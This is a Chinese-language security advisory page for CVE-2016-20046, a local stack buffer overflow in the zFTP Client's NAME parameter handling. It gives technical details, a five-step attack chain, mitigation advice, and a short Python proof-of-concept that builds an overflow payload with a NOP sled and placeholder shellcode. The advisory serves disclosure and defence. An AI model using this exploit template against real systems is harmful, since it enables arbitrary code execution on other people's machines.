IPBUF安全漏洞报告
English
CVE-2016-20046 CVSS 8.4 高危

CVE-2016-20046: zFTP Client本地缓冲区溢出漏洞

披露日期: 2026-03-28

漏洞信息

漏洞编号
CVE-2016-20046
漏洞类型
缓冲区溢出
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
zFTP Client

相关标签

缓冲区溢出本地攻击zFTP Client代码执行

漏洞概述

zFTP Client 20061220+dfsg3-4.1版本存在严重的缓冲区溢出漏洞。漏洞产生于程序处理FTP连接NAME参数时未正确校验数据长度。本地攻击者可利用该缺陷,通过构造超过80字节的超长NAME值覆盖指令指针,导致应用程序崩溃或以当前用户权限执行任意恶意代码,严重威胁主机安全。

技术细节

该漏洞属于典型的栈缓冲区溢出。zFTP Client在处理FTP连接的NAME参数时,使用了不安全的内存拷贝操作。程序在栈上分配了一个固定大小的缓冲区(80字节)用于存储NAME值,但在接收数据前未进行严格的长度校验。当本地攻击者传入一个超过80字节的超长字符串时,数据将溢出缓冲区边界,覆盖栈帧中的关键信息,如返回地址或指令指针。由于无需认证和用户交互,攻击者可以精心构造包含恶意Shellcode的载荷,通过覆盖返回地址使其指向Shellcode在内存中的位置,从而劫持程序的执行流程,以当前用户的权限执行任意代码,实现权限提升或系统控制。

攻击链分析

STEP 1
侦察
攻击者确认目标系统上安装了受影响的zFTP Client 20061220+dfsg3-4.1版本。
STEP 2
武器化
攻击者构造包含恶意Shellcode的特殊载荷,该载荷长度超过80字节,且包含用于覆盖指令指针的特定地址。
STEP 3
交付
攻击者在本地环境诱导zFTP Client处理包含恶意NAME参数的FTP连接数据或配置文件。
STEP 4
利用
程序处理超长NAME参数时触发缓冲区溢出,返回地址被攻击者控制的地址覆盖,程序执行流发生跳转。
STEP 5
执行
程序跳转执行攻击者预设的Shellcode,从而以当前用户权限执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2016-20046: zFTP Client Buffer Overflow # This script generates a malicious string to trigger the overflow. def generate_payload(): # Buffer size is 80 bytes. We need to overflow and overwrite EIP. # Fill the buffer (80 bytes) buffer = b'A' * 80 # Overwrite EIP (4 bytes on x86) - Example address eip = b'\xbb\x11\x11\x11' # NOP sled + Shellcode (Example calc.exe) nop_sled = b'\x90' * 32 shellcode = b'\xcc' * 50 # Int3 for testing crash payload = buffer + eip + nop_sled + shellcode return payload if __name__ == "__main__": print("[+] Generating malicious payload for CVE-2016-20046...") payload = generate_payload() print(f"[+] Payload length: {len(payload)} bytes") print("[+] Payload (hex):", payload.hex()) # Usage: Feed this payload into the NAME parameter of a FTP connection # handled by the vulnerable zFTP Client.

影响范围

zFTP Client 20061220+dfsg3-4.1

防御指南

临时缓解措施
建议立即停止使用受影响的zFTP Client版本,并寻找替代的FTP客户端软件。如果必须使用,应在受限的非生产环境中运行,并限制用户权限,避免以管理员或root身份运行该程序,从而降低溢出成功后的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表